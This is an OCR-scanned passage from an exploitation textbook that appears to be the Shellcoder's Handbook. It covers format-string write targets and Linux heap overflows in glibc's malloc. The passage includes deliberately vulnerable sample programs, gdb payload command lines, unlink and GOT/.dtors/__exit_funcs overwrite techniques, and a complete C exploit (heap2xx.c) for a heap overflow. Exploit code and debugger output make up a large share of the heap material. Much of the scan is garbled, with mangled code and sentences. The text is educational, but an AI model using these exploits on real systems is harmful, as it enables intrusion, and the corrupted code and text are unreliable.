If for some reason we can’t use %hn to write our values 16bits at a time, we
can still use byte_aligned writes and %n: we just do four writes rather than one
and pad our number of characters output so that we're writing the low order
byte each time. Table 4.1 shows an example of what we should do if we want
to write the value 0x04030201 to the address X.
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Table 4.1 Writing to Addresses

ADDRESS X X+1 X+2 X+3 X+4 X+5  X+6
Write to X 0x01 O0x01 Ox01 0Ox01

Write to X+1 0x02 0x02 0x02 0x02

Write to X+2 0x03 0x03 0x03 0x03

Write to X+3 0x04 0x04 0x04 0x04

Memory after four writes 0x01 0x02 0x03 0x04 0x04 0x04 0x04

The disadvantage of this technique is that we overwrite the 3 bytes after the 4
bytes we're writing. Depending on memory layout, this may not be important. This
problem is one of the reasons why exploiting format string bugs on Windows is
fiddly.

Now that we've reviewed the basic reading and writing techniques, let's look at
what we can do with them:

B Overwrite the saved return address. To do this, we must work out the
address of the saved return address, which means either guesswork, brute
force, or information disclosure.

B Overwrite another application-specific function pointer. This technique is
unlikely to be easy since most programs don't leave function pointers
available to you. However, you might find something useful if your target is
a C++ application.

B Overwrite a pointer to an exception handler, then cause an exception. This
is extremely likely to work, and involves eminently guessable addresses.

Overwrite a GOT entry. We did this in wu-ftpd. This is pretty good option.

Overwrite the atexit handler. You may or may not be able to use this
technique, depending on the target.

B Overwrite entries in the DTORS section. For this technique, see the paper
by Juan M.Bello Rivas in the bibliography.
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B Turn a format string bug into a stack or heap overflow by overwriting a null
terminator with non-null data. This is tricky, but the results can be quite
funny.

B Write application-specific data such as stored UID or GID values with
values of your choice.

B Modify strings containing commands to reflect commands of your choice.

If we can't run code on the stack, we can easily bypass the problem by the
following:

B Writing shellcode to the location of your choice in memory, using %n-type
specifiers. We did this in our wu-ftpd example.

B Using a register-relative jump if we're brute forcing, which gives us a much
better chance of hitting our shellcode( if it's in our format string).

For example, if our shellcode is at esp+0x200, we can overwrite some of the
GOT with something like this:

qdd $0x200, %esp
jmp esp

This gives us the location of the code that will jump to our shellcode, so when
we overwrite our function pointer (GOT entry, or whatver) we know that we'll land
in our shellcode. The same technique works for any other register that happens to
be pointing at or close to our shellcode after the format string has been evaluated.

In fact, we fairly easily write a small shellcode snippet that will find the location
of a larger shellcode buffer, and then jump to it. See Gera and Riqg's excellent
Phrack paper at www.phrack.org/show.php?p=59&a=7 for more information.

Conclusion

This chapter presents just a few ideas on format string bugs as a refresher and as
food for thought. Although format string bugs apper to be growing rarer, they offer
such a large range of attack techniques that they are worth understanding.

For further information on format string bugs, see www.wiley.com/compbooks/koziol

for a list of native and more advanced resources.
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CHAPTER
S

Introduction to
Heap Overflows

This chapter focuses on heap overflows on the Linux platform, which uses a
malloc implementation originally written by Doug Lee, hence called dimalloc. This
chapter also introduces concepts that will help you when facing any other malloc()
implementation. Indeed, writing a heap overflow is a rite of passage that teaches
you how to think beyond grabbing EIP form a saved stack pointer.dimalloc is just
one library out of many that stores important metadata interspersed with user data.
Understanding how to exploit malloc bugs is a key to finding innovative ways to
exploit bugs that don't fit into any particular category.

Doug Lee himself has a terrific summary of dimalloc on his Web site, at
http://gee.cs.oswego.edu/dlI/html/malloc.html. You can also find it at the
Shellcoder's Handbook Web page: www.wiley.com/compbooks/koziol. If you are
unfamiliar with the Dog Lee malloc implementation, you should read it before
going on with this chapter. Although his text goes over the concepts you'll need to
be familiar with during exploitation, various changes have been made in modern
glibc to his original implementation to make it multithreaded and optimized for
various situations.
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When a program is running, each thread has a stack where local variables are
stored. But for global variables, or variables too large to fit on the stack, the
program needs another section of writable memory available as a storage space.
In fact, it may not know at compile time how much memory it will need, so these
segments are often allocated at runtime, using a special system call. Typically a
Linux program has a .bss(global variables that are uninitialized) and a .data
segment(global variables that are initialized) along with other segments used by
malloc() and allocated with the brk() or mmap() system calls. You can see these
segments with the gdb command maintenance info sections. Any segment that is
writable can be referred to as a heap although often only the segments specifically
allocated for use by malloc() are considered true heaps. As a hacker, you should
ignore terminology and focus on the fact that any writable page of memory offers
you a chance to take control.

What follows is gdb before the program (basicheap) runs:
(gdb) maintenance info sections
Exec file:
‘lhome/dave/BOOK/basicheap’, file thype elf32-u386.
0x08049434->0x08049440 at 0x00000434: .data ALLOC LOAD DATA
HAS_CONTENTS

0x08049440->0x08049444 at 0x00000440: .eh_frame ALLOC LOAD DATA
HAS_CONTENTS

0x08049444->0x0804950c at 0x00000444: .dynamic ALLOC LOAD DATA
HAS_CONTENTS

0x0804950c->0x08049514 at 0x0000050c: .ctors ALLOC LOAD DATA
HAS_CONTENTS

0x08049514->0x0804951c at 0x00000514: ,dtors ALLOC LOAD DATA
HAS_CONTENTS

0x0804951c->0x08049520 at 0x0000051c: .jcr ALLOC LOAD DATA HAS_CONTENTS
0x08049520->0x08049540 at 0x00000520: .got ALLOC LOAD DATA HAS_CONTENTS
0x08049540->0x08049544 at 0x00000540: .bss ALLOC

Here are a few lines from the run trace:

brk(0) = 0x80495a4

brk(0x804a5a4) = 0x804a5a4

brk(0x804b000) = 0x804b000

What follows is the output from the program, showing the addresses of two
malloced spaces:

biealBo295%h6 DI esehbSoxs0499bs
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Here is maintenance info sections again, showing the segments used while the
program was running. Notice the stack segment (the last one) and the segments
that contain the pointers themselves (load?2.

0x08048000->0x08048000 at 0x00001000: loadl ALLOC LOAD READONLY CODE
HAS_CONTENTS

0x08049000->0x0804A000 at 0x00001000: load2 ALLOC LOAD HAS_CONTENTS
0xbfffe000->0xc0000000 at 0x0000f000: load1l ALLOC LOAD CODE HAS_CONTENTS

(gdb) print/x $esp
$1 = Oxbffff190

How a Heap Works

Using brk() or mmap() every time the program needs more memory is slow and
unwieldy. Instead of doing that, each libc implementation has provided malloc(),
realloc(), and free() for programmers to use when they need more memory, or are
finished using a particular block of memory.

malloc() breaks up a big block of memory allocated with brk() into chunks and
gives the user one of those chunks when a request is made (for instance, if the
user asks for 1000 bytes), potentially using a large chunk and splitting it into two
chunks to do so. Likewise, when free() is called, it should decide if it can take the
newly freed chunk, and potentially the chunks before and after it, and collect them
into one large chunk. This process reduces fragmentation(lots of little used chunks
interspersed with lots of little free chunks) and prevents the program from having
to use brk() too often, if at all.

To be efficient, any malloc() implementation stores a lot of meta-data about the
location of the chunks, the size of the chunks, and perhaps some special areas for
small chunks. It also organizes this information---in dimalloc, it is organized into
buckets, and in man other malloc implementations it is organized into a balanced
tree structure works—you can always look it up if you need to, and you likely
won't.)

This information is stored in two places: in global variables used by the malloc()
implementation itself, and in the memory block before and/or after the allocated
user space. So just like in a stack overflow, where the frame pointer and saved
mstcﬁuggﬁn wtgr tﬁ/leég gltlo%rgd directly after a buffer you could overflow, the heap
contains important information about the state of memory stored directly after any

user-allocated buffer.
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Finding Heap Overflows

The term heap overflow can be used for many bug primitives. It is helpful, as
always, to put yourself in the programmer’s shoes and discover what kind of
mistakes he or she possibly made, even if you don’t have the source code for the
application. The following list is not meant to be exhaustive, but shows some
(simplified) real-world examples:

samba(the programmer allows us to copy a big block of memory wherever
we want):

memcpy(array[user_supplied_int], user_supplied_buffer, user_supplied_int2);
Microsoft IIS:
buf=malloc(user_supplied_int+1);
memcpy(buf,user_buf,user_supplied_int);
IIS off by a few:
buf=malloc(strlen(user_buf+5));
strcpy(buf, user_buf);

Solaris Login:

buf=(char *)malloc(BUF_SIZE);

while (user_buf[i]!'=0) {
bufi]l=malloc(strlen(user_bufi])+1);

i++;

}

Solaris Xsun:

buf=malloc(1024);
strepy(buf,user_supplied);

Here is a comman integer overflow heap overflow combination—this will
allocate 0 and copy a large number into it(think xdr_array).

buf=malloc(sizeof(something) *user_controlled_int);
for (i=0; i<user_controlled_int; i++){

if (user_buffi]==0)

break;

copyinto(buf,user_buf);

LrEI this Sheag oV eﬁﬂows occur whenever you can corrupt memory that is
sen
not 6nthe 3tack’ Becalise there are so many varieties of potential corruption, they

are nearly impossible to grep for or protect against via a compiler modification.
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Also included within the heap overflow biological order are double free() bugs,
which are not discussed in this chapter. You can read more about double free()
bugs in Chapter 16.

Basic Heap Overflows

The basic theory for most heap overflows is the following: Like the stack of a
program, the heap of a program contains both data information and maintenance
information that controls how the program sees that data. The trick is manipulating
the malloc() or free() implementation into doing what you want it to do—alow you
to write a word or two of memory into a place you can control.

Let’s take a sample program and analyze it from an attacker’s perspective.

[*notvuln.c*/

int

main(int argc, char** argv){

char *buf;

buf=(char*)malloc(1024);
printf(“buf=%p”,buf);
strcpy(buf,argv[1]);
free(buf);

}

Here’s the Itrace output from attacking this program:

[dave@localhost BOOK]$ Itrace ./notvuln “perl —e ‘print “A” x 5000’
__libc_start_main(0x080483c4, 2, Oxbfffe694, 0x0804829c, 0x08048444

<unfinished

o>

malloc(1024) = 0x08049590

printf(“buf=%p”) = 13

strcpy(0x08049590, “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...) = 0x08049590
free(0x08049590) = <void>

buf=0x8049590+++ exited (status 0) +++

As you can see, the program did not crash. This is because the user’s string
didn’t overwrite a structure the free() call needed even though the string
overflowed the allocated buffer by quite a bit.

Now let's look at one that is vulnerable.

[*basicheap.c*/

int

main(int argc, char** argv) {
char *buf;
char *buf2;
buf=(char*)malloc(1024);
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buf2=(char*)malloc(1024);
rintf(*buf=%p buf2=%p\n”,buf,buf2);
strepy(buf,argv[1]);
free(buf2);

}

The difference here is that a buffer is allocated after the buffer that can be
overflown. There are two buffers, one after another in memory, and the second
buffer is corrupted by the first buffer being overflown. That sounds a little confusing
at first, but if you think about it, it makes sense. This buffer's meta-data structure is
corrupted during the overflow and when it is freed, the collecting functionality of
the malloc library accesses invalid memory.

[dave@localhost BOOK]$ Itrace ./basicheap “perl —e ‘print “A” x 5000 *
__libc_start_main(0x080483c4, 2, Oxbfffe694, 0x0804829c, 0x0804845¢
<unfinished

>

malloc(1024) = 0x080495b0

malloc(1024) = 0x080499b8

printf(“buf=%p buf2=%p\n”, 134518192buf=0x80495b0 buf2=0x80499b8) = 29
strcpy(0x080495b0, “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...) = 0x080495b0
free(0x080499b8) = <void>

--- SIGSEGV (Segmentation fault) ---

+++ killed by SIGSEGV +++

N®Ji= Don’t forget to use ulimit —c unlimited if you are not getting core
dumps.

Once you have a way to trigger a heap overflow, you should then
think of the vulnerable problem as a special AlIP for calling malloc(), free(),
and realloc(). The order of the allocation calls, the sizes, and the contents of
the data put into the stored buffers need to be manipulated in order to write
a successful exploit.

In this example, we already know the length of the buffer we overflowed, and
the general layout of the program’s memory. In many cases, however, this
information isn’t readily available. In the case of a closed source application with a
heap overflow, or an open source application with an extremely complex memory
layout, it is often easier to probe the way the program reacts to different lengths of
attack, rather than reverse engineering the entire program to find both the point at
which the program overflows the heap buffer and when it calls free() or malloc() to
trigger the crash. In many cases, however, developing a truly reliable exploit will
require this kind of reverse engineering effort. After we exploit this simple case, we

will ;oyg G Mgse cospplex diagnosis and exploitation attempts.
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This is a key to how we will manipulate the malloc() routines to fool them into
overwriting memory. We will clear the previous-in-use bit in the chunk header of
the chunk we overwrite, and then set the length of the “previous chunk” to a
negative value. This will then allow us to define our own chunk inside our buffer.

malloc implementations, including Linux’s dimalloc, store extra information in a
free chunk. Because a free chunk doesn’t have user data in it, it can be used to
store information about other chunks. The first 4 bytes of what would have been
user data space in a free chunk are the forward pointer, and the next 4 are the
backwards pointer. These are the pointers we will use to overwrite arbitrary data.

This command will run our program, overflowing the heap buffer buf and
changing the chunk header of buf2 to have a size of Oxfffffff0 and a previous size
of OXFfffffff.

\N@2l= Don’t forget the little-endianness of 1A32 here.

On some versions of RedHat Linux, perl will transmute some characters into
their Unicode equivalents when they are printed out. We will use Python to avoid
any chance of this. You can also set arguments in gdb after the run command.

(gdb) run “python —c ‘print “A™*1024+"\xfAXFAXAXF"+"\XFO\XFAXFAXF™

FINDING THE LENGTH OF A BUFFER

(gdb) x/xw buf-4 will show you the length of buf. Even if the program in not
complied with symbols, you can often see in memory where your buffer
starts (the beginning of the A’s) and just look at the word prior to it to find
out how long your buffer actually is.

(gdb) x/xw buf-4
0x80495ac: 0x00000409
(gdb) printf “%d\n”, 0x409
1033

This number is actually 1032, which is 1024 plus the 8 bytes used to store
the chunk information header. The lowest order bit is used to indicate
whether there is a chunk previous to this chunk. If it is set (as it is in this
example) then there is no previous chunk size stored in this chunk’s header.
If it is clear(a zero) then you can find the previous chunk by using buf-8 as
the previous chunk’s size. The second lowest bit is used as a flag to say
whether the chunk was allocated with mmap().
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Set a breakpoint on _int_free() at the instruction that calculates the next chunk
and you will be able to trace the behavior of free(). (To locate this instruction, you
can set the chunk’s size to 0x01020304 and see where in_free() crashes.) One
instruction above that location will be the calculation:

0x42073fdd <_int_free+109>: lea (%edi, %esi, 1), %ecx

When the breakpoint is hit, the program will print out buf=0x80495b0
buf2=0x80499b8 and then break.

(gdb) print/x $edi
$10 = OxfffffffO
(gdb) print/x $esi
$11 = 0x80499b0

As you can see, the current chunk (for buf) is stored as ESI, and the size is
stored as EDI. glibc’s free() has been modified from the original dimalloc(). If you
are tracing through your particular implementation you should note that free() is
really a wrapper to intfree in most cases. intfree takes in an “arena” and the
memory address we are freeing.

Let’s take look at two assembly instructions that correspond to the free() routine
finding the previous chunk.

0x42073ff8 <_int_free+136>: mov Oxfffffff8(%edx), Yoeax
0x42073ffb <_int_free+139>: sub %eax, %oesi

In the first instruction (mov 0x8 (%esi), %edx), %edx is 0x80499b8, the
address of buf2, which we are freeing. Eight bytes before it is the size of the
previous buffer, which is now stored in %eax. Of course, we've overwritten this,
which used to be a zero, to now have a Oxffffffff (-1).

In the second instruction (add %eax, %edi), %esi holds the address of the
current chunk’s header. We substract the size of the previous chunk’s header. Of
course, this does not work when we’ve overwritten the size with -1. the following
instructions(the unlink() macro) give us control:

0x42073ffd <_int_free+141>: mov 0x8(%esi),%edx
0x42074000 < _int_free+144>: add %eax,%edi

0x42074002 <_int_free+146>: mov Oxc(%esi),%eax; UNLINK
0x42074005 <_int_free+149>: mov %eax,0xc(%edx); UNLINK

0x42074008 <_int_free+152>: mov %edx, 0x8(%eax); UNLINK
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%esi has been modified to point to a known location within our user buffer.
During the course of these next instructions, we will be able to control %edx and
%eax when they are used as the arguments for writes into memory. This happens
because the free() call, due to our manipulating buf2’s chunk header, thinks that
the area inside buf2—which we now control—is a chunk header for an unused
block of memory.

So now we have the keys to the kingdom.

The following run command(using Python to set the first argument) will first fill
up buf, then overwrite the chunk header of buf2 with a previous size of -4. Then
we insert 4 bytes of padding, and we have ABCD as %edx and EFGH as %eax.

(gdb) r “python —c ‘print
“A™(1024)+"\xfc\XAXFF"+"\xfO\xfAxfAxff"+"AAAAABCDEFGH” * *

Program received signal SIGSEGV, Segmentation fault.
0x42074005 in _int_free () from /lib/i686/libc.s0.6

7: Ix $edx = 0x44434241

6: /x $ecx = 0x80499a0

5: Ix $ebx = 0x4212a2d0

4: /x $eax = 0x48474645

3: Ix $esi = 0x80499b4

2: Ix $edi = Oxffffffec

(gdb) x/4i $pc
0x42074005 <_int_free+149>: mov %eax, 0xc(%edx)
0x42074008 <_int_free+152>: mov %edx, 0x8(%eax)

Now, %eax will be written to %edx+12 and %edx will be written to %eax+8.
Unless the program has a signal handler for SIGSEGV, you want to make sure
both %eax and %edx are valid writable addresses.

(gdb) print “%8x”, & _exit_funcs-12
$40 = (<data variable, no debug info> *) 0x421264fc

Of course, now that we've defined a fake chunk, we also need to define
another fake chunk header for the “previous” chunk, or intfree will crash. By setting
the size of buf2 to 0xfffffffO (-16), we’ve placed this fake chunk into an area of buf
that we control(see Figure 5.1).

Putting this all together, we have:

“A’ *(101\2}\%Q % "*4+" "8+ \xf8\xff\xﬁ\xﬁ +\XFONXFAXFAXTT"+"\xfAXAXAXf*2+intel _order(word1)+
intel {Ste8k( )S presents
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word1+12 will be overwritten with word2 and word2+8 will be overwritten with
ordl. (interl_order() takes any integer and makes it a little-endian string for use in
overflows such as this one.)

Finally, we simply choose what word we want to overwrite, and what we want
to overwrite it with. In this case, basicheap will call exit() directly after freeing buf2.
The exit functions are destructors that we can use as function pointers.

(gdb) print/x __exit_funcs
$43 = 0x4212aa40

We can just use that as word1 and an address on the stack as word2.
Rerunning the overflow with these as our argument leads to:

Program received signal SIGSEGV, Segmentation fault.
OxbffffffOf in 22 ()

As you can see, we've redirected execution to the stack. If this were a local
heap overflow, and assuming the stack was executalb, the game would be over.
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Intermediate Heap Overflows

In this section of the chapter we will explore exploiting a seemingly simple
variation of the heap overflow detailed above. Instead of free(), the overflowed
program will call malloc(). This makes the code take an entirely different path and
react to the overflow in a much more complex manner. The example exploit for
this vulnerability is presented here, and you may find it enlightening to go through
this example on your own. The exercise teaches you to treat each vulnerability
from the perspective of someone who can control only a few things and must
leverage those things by examining all of the potential code paths that flow
forward from your memory corruption.

You will find the code of this structure exploitable in the same fashion, even
though malloc() is being called instead of free(). These overflows tend to be quite
a bit trickier, so don't get discouraged if you spend a lot more time in gdb on this
variety than you did on the simple free() unlink() bugs.

/*heap2.c — a vulnerable program that calls malloc() */
int
main(int argc, char *8argv)

{
char *buf, *buf2,*buf3;

buf=(char*)malloc(1024);

buf2=(char*)malloc(1024);

buf3=(char*)malloc(1024);

free(buf2);

strepy(buf,argv(1]);

nuf2=(char*)malloc(1024); //this was a free() in the previous example
printf(*Done.”); //we will use this to take control in our exploit

NeXI= When fuzzing a program, it is important to use both 0x41 and 0x50,
since 0x41 does not trigger certain heap overflows(having the
previous-flag or the mmap-flag set to 1 in the chunk header is not good,
and may prevent the program from crashing, which makes your fuzzing
not as worthwhile). For more information on fuzzing, see Chapter 15.

To watch the program crash, load heap2 in gdb and use the following
command:

(gdb)eraipytHsh sc tprirs Sx66™+1028+"\xff"*4="\xa0\xfA\xf\xbfxaO\xfAxffxbf” * °
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NS On Mandrake and a few other systems, finding __exit_funcs can be a
little difficult. Try breakpoingting at <__cxa_atexit+45>: mov
%eax,0x4(%edx) and printing out %edx.

Abusing malloc can be quite diffcutl—you eventually enter a loop similar to the
following in _int_malloc(). Your implementation may vary slightly, as glibc versions
change. In the following snippet of code, bin is the address of the chunk you
overwrote.

bin = bin_at(av,idx);
for (victim = last(bin); victim != binl victim = victim->bk) {
size = chunksize(victim);

if ((unsigned long) (size) >= (unsigned long) (nb)) {
remainder_size = size — nb;
unlink(victim, bck, fwd);

/* Exhaust */
if (remainder_size < MINSIZE) {
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA,;
check_malloced_chunk(av, victim, nb);
return chunk2mem(victim);
}
* Split */
else {
remainder = chunk_at_offset(victim, nb);
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
remainder->bk = remainder->fd = unsorted_chunks(av);
set_head(victim, nb | PREV_INUSE | (av != &main_arena ?
NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
check_malloced_chunk(av, victim, nb);
return chunk2mem(victim);

}
}
}

This loop has all sorts of useful memory writes; however, if you are restricted to
non-zero characters, you will find the loop difficult to exit. This is because the two
major exit cases are wherever fakechunk->size minus size is less than 16 and
Whe,p thne1 fgb@f,chunllg’gs%ex% ointer is the same as the requested block. Guessing
the addresd's tﬁegeque&e block may be impossible, or prohibitively difficult(long
brute-forcing sessions), without an information leakage bug. As Halvar Flake once
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said, “Good hackers look for information leakage bugs, since they make exploiting
things reliably much easier.”

The code looks a bit confusing, but it is simple to exploit by setting a fake chunk
to either the same size or by setting a fake chunk’s backwards pointer to the
original bin. You can get the original bin from the backwards pointer that we
overflowed (which is printed out nicely by heap2.c), something that you will
probably exhaust during a remote attack. This will be reasonably static on a local
exploit, but may still not be the easiest way to exploit this.

The exploit below has two features that may appear easily only on a local
exploit:

B It uses pinpoint accuracy to overwrite the free() ‘d chunk’s pointers into a
fake chunk on the stack in the environment, which the user can control
and locate exactly.

B The user's environment can contain zeros. This is important because the
exploit uses a size equal to the requested size, which is 1024(plus 8, for
chunk header). This requires putting null bytes into the header.

The following program does just that. Pointers in the chunk’s header are
overwritten before the malloc() call is made. Then malloc() is tricked into
overwriting a functiong pointer (the Global Offset Table entry for printf() ). Then
printfg() redirects into our shellcode, currently just Oxcc, which is int3, the debug
interrupt. It is important to align our buffers so they are not at addresses with the
lower bits set (i.e., we don’t want malloc() to think our buffers are mmapped() or
have the previous bit set).

heap2xx.c — exploit for heap2.c

There are two possibilities for this exploit:

1. glibc 2.2.5, which allows writing one word to any other word.

2. glibc 2.3.2, which allows writing the address of the current chunk header to
any chosen place in memory. This makes exploitation much more difficult,
but still possible.

Note that the exploit will not, in either condition, drop the user to a shell. It will
usually seg-fault on an invalid instruction during successful exploitation. Of course,
to get a shell, you would just need to copy shellcode in the proper place.

The following list applies to the second glibc option, and is included to help
clarify some of the differences between the two. You may find that making similar
notes as you go through this problem can be advantageous.
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B After overwriting the free buf2’s malloc chunk tag, we tag the fd and bk
field (ends up as eax) pointing both the forward and backward pointer into
to the env to a free chunk boundary we control. Make sure we have >
1032+4 chunk env offset to survive orl $0x1, Ox4(%eax,%esi,1) where esi
ends up with the same address as our eax address and eax is set to 1032.
On the next malloc call to a 1024-byte memory area, it will go through our
same size bin area and process our corrupt double linked-list free chunk,
tagzOr.

B We align to point the bk and the fd prt to the prev_size (oxfffffffc) field of
our fake env chunk. This is done to make sure that whatever pointer is
used to enter the macro works correctly.

B We exit the loop by making the S < chunksize (FD) check falil, setting the
size field in our env chunk to 1032.

B Inside the loop, %ecx is written to memory like this: mov %ecx, 0x8(%eax).

We can confirm this behavior in a test with printf’'s Global Offset Table (GOT)
entry (in this case at 0x080496d4). In a run where we set the bk field in our fake
chunk to 0x080496d4 — 8 we see the following results:

(gdb) x/x 0x080496d4
0x80496d4 <_GLOBAL_OFFSET_TABLE_+20>: 0x4015567¢

If we look at ecx on an invalid eax crash we see:

(gdb) I r eax ecx

eax 0x41424344 1094861636
ecx 0x4015567c 1075140220
(gdb)

We are now already altering the flow of execution, making the heap2.c program
jump into main_arena(which is where ecx points) as soon as it hits the printf.
Now we crash on executing our chunk.

(gdb) x/i$pc

0x40155684 <main_arena+100>; cmp  %bl,0x96cc0804(%ebx)
(gdb) disas $ecx

Dump of assembler code for function main_arena:

0x40155620 <main_arena>: add  %eal, (Yoeax)

... *snip* ...

0x40155684 <main_arena+100>: cmp  %bl,0x96cc0804(%ebx)
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#include <stdio.h>

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define VULN “./heap2”

#define XLEN 1040 /* 1024+16 */
#define ENVPTRZ 512 /* enough to hold our big layout */

I* mov %ecx,0x8(PRINTF_GOT) */

#define PRINTF_GOT 0x08049648 — 8

/* 13 and 21 work for Mandrake 9, glibc 2.2.5 — you may want to modify these until you point
directly at 0x408 (or Oxfffffffc, for certain glibc’s). Also, your address must be “clean” meaning
not have lower bits set. 0xf0 is clean, 0xf1 is not.

*/

#define CHUNK_ENV_ALLIGN 17

#define CHUNK_ENV_OFFSET 1056-1024

/* Handy environment loader */
unsigned int
ptoa(char **envp, char *string, unsigned int total_size)
{
char *p;
unsigned int cnt;
unsigned int size;

unsigned int ;

p=string;

cnt=size =1=0;

for (cnt = O; size < total_size; cnt ++)
{

envp[cnt] = (char *) malloc(strlen(p)+1);
envp[cnt] = strdup(p);
#ifdef DEBUG
fprintf(stderr, “[*] strlen: %d\n”, strlen(p) + 1);
for (i = O; i < strlen(p) + 1; i++) fprintf(stderr, “[*] %d: 0x%.02x\n", i, p[i]);

#endif
Size += strlen(p) + 1;
p +=strlen(p) + 1;
}
return cnt;
}
int
main(int argc, char **argv)
{
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unsigned char *x;

char *ownenv[ENVPTRZ];
unsigned int xlen;

unsigned int i;

unsigned char chunk[2048+1]; /* 2 times 1024 to have enough controlled mem to
survive the orl */

unsigned char *exe[3];
unsigned int env_size;
unsigned long retloc;

unsigned long retval,

unsigned int chunk_env_offset;
unsigned int chunk_env_align;

xlen = XLEN + (1024 — (XLEN — 1024));

chunk_env_offset = CHUNK_ENV_OFFSET;

chunk_env_align = CHUNK_ENV_ALLIGN;

exe[0] = VULN;

exe[1] = x = malloc(xlen+1);

exe[2] = NULL;

if (x) exit (-1);

fprintf(stderr, “\n[*] Options: [ <environment chunk alignment> ] [<environment
chunk offset> \n\n");

if (argv[1] && (argc == 2 || argc == 3)) chunk_env_align = atoi(argv[1]);

if (argv[2] && argc == 3) chunk_env_offset = atoi(argv[2]);

fprintf(stderr, “[*] using align %d and offset %d\n”, chunk_env_align,
chunk_env_offset);

retloc = PRINTF_GOT; /*printf GOT-0x8 ... this is where ecx gets written to, ecx is
a chunk prt */

/* where we want to jump do, if glibc 2.2 — just anywhere on the stack is good for a
demonstration */

retval=0xbffffd40;

fprintf(stderr, “[*] Using retloc: %p\n”,retloc);

memset(chunk, 0x00, sizeof(chunk));

for (i = 0; i < chunk_env_align; i++) chunk[i] = *X’;

for (i = chunk_env_align; i <= sizeof(chunk) — (16+1);i += (16))

*(long *)&chunk[i] = Oxfffffffc;

*(long *)&chunk[i+4] = (unsigned long)1032; /* S == chunksize(FD) ...
breaking loop (size == 1024 + 8) */

/* retral is not used for 2.3 exploitation...*/

*(long *)&chunk[i+8] = retval;

*(long *)&chunk[i+12] = retloc; /* printf GOT — 8..mov %ecx,0x8(%eax) */
}
#ifdef DEBUG

foréb ,O i< S|zeof(chunk) i++) fprintf(stderr, “[*] %d: 0x%.02x\n”, i, chunk[i]);

S presents
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*(long *)&X[XLEN-16] = Oxfffffffc;

*(long *)&X[XLEN-12] = OxfffffffO;

/* we point both fd and bk to our fake chunk tag ... so whichever gets used is ok
with us */

/* we substract 1024 since our buffer is 1024 long and we need to have space for
writes after it...

* you'll see when you trace through this. */

* (long *)&X[XLEN-8] = ((0xc0000000 — 4) — strlen(exe[0]) —
chunk_env_offset-1024);

*(long *)&X[XLEN-4] = ((0xc0000000 — 4) — strlen(exe[0]) —
chunk_env_offset-1024);

printf(“Our fake chunk (Oxfffffffc) needs to be at %p\n”, ((oxc0000000-4) —
strlen(exe[0]) — chunk_env_offset)-1024);

/* you could memcpy shellcode into x somewhere, and you would be able to jmp
directly into it — otherwise it will just execute whatever is on the stack — most likely
nothing good. (for glibc 2.2) */

/* clear our environment array */

for (i = 0; i < ENVPTRZ; i++) ownenv][i] = NULL;

i = ptoa(ownenv, chunk, sizeof(chunk));

fpritnf(stderr, “[*] Size of environment array: %d\n”,i);

fprintf(stderr, “[*] Calling: %s\n\n",exe[0]);

if (execve(exe[0], (char **)exe, (char **)ownenv))

fprintf(stderr, “Error executing %s\n”, exe[0]);
free(x);
exit(-1);

Advanced Heap Overflow Exploitation

The ltrace program is a godsend when exploiting complex heap overflow
situations. When looking at a heap overflow that is moderately complex, you must
go through several non-trivial steps:

1. Normalize the heap. This may mean simply connecting to the process, if
it forks and calls execve, or starting up the processes with execve() if it's a
local exploit. The important thing is to know how the heap is set up initially.

2. Set up the heap for your exploit. This may mean many meaningless
connections to get malloc functions called in the correct sizes and oders
for the heap to be set up favorably to your exploit.

3. Overflow one or more chunks. Get the program to call a maloc function

teal(oﬁéééi/’e%am%@@ﬁmctions) to overwrite one or more words. Next, make
the program execute one of the function pointers you overwrote.
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It is important to stop thinking of exploits as interchangeable. Every exploit has
a unique environment, determined by the state of the program, the things you can
do to the program, and the particular bug or bugs you exploit. Don't restrict
yourself to thinking about the program only after you have exploited the bugs.
What you do before you trigger a bug is just as important to the stability and
success of your exploit.

What to Overwrite

Generally, follow these three strategies:
1. Overwrite a function pointer.
2. Overwrite a set of code that is in a writable segment.
3. If writing two words, write a bit of code, then overwrite a function pointer to
point to that code. In addition, you can overwrite a logical variable(such as
is_logged_in) to change program flow.

GOT Entries

Use objdump —R to read the GOT function pointers from heap2:

[dave@www FORFUN] $ objdump —R ./heap2
J/heap2: file format elf32-i386

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE
08049654 R _ 386 _GLOB _DAT _ gmon_start
08049640 R_385_JUMP_SLOT malloc

08049644 R_385 JUMP_SLOT __libc_start_ main
08049648 R_385 JUMP_SLOT printf

0804964c R_385_JUMP_SLOT free

08049650 R_385 JUMP_SLOT strcpy

Global Function Pointers

Many libraries such as malloc.c rely on global function pointers to manipulate their
debugging information, or logging information, or some other frequently used
functionally. _ free_hook, malloc_hook, and __ realloc_hook are often useful in
programs that call one of these functions after you are able to perform an
overwrite.
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.DTORS
.DTORS are dustructors gcc uses on exit. In the following example, we could use
8049632c as a function pointer when the program calls exit to get control.

[dave@www FORFUN]$ objump —j .dtors —s heap2
heap?2: file format elf32-i386
Contents of section .dtors:

8049628 ffffffff 00000000

atexit Handlers
See the note above for finding atexit handlers on systems without symbols for
exit_funcs. These also called upon program exit.

Stack Values

The saved return address on the stack is often in a predictable place for local
execution. However, because you cannot predict or control the environment on a
remote attack, this is probably not your best choice.

Conclusion

Because most heap overflows corrupt a malloc() data structure to obtain control,
some work has been done in the area of protective canaries for various malloc()
implements, similar in theory to stack canaries, but these have not ye caught on in
most malloc() implementations(FreeBSD is the only one at the time of writing that
has this simple check, for example). Even if heap canaries become commonplace,
some heap overflows don’t work by manipulating the malloc() implementation, and
many programs will continue to be vulnerable.
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PART

Two

Exploiting More
Platforms: Windows,

. Solaris,and Tru64

Now that you have completed the introductory section on vulnerability
development for the Linux/IA32 platform, we will explore more difficult and tricky
operating systems and exploitation concepts. We will move into the world of
Windows, where we will detail some interesting exploitation concepts from a
Windows hacker’s point of view. The first chapter in this part, Chapter 5, will help
you understand how Windows is different from the Linux/IA32 content in Part I. We
will move right into Windows shellcode in Chapter 7, and then delve into some
more advanced Windows content in Chapter 8. Finally, we will round out the
Windows content with a chapter on overcoming filters for Windows in Chapter 9.
The concepts for circumventing various filters can be applied to any hostile code
injection scenario.

The other chapters in this section will show you how to discover and exploit
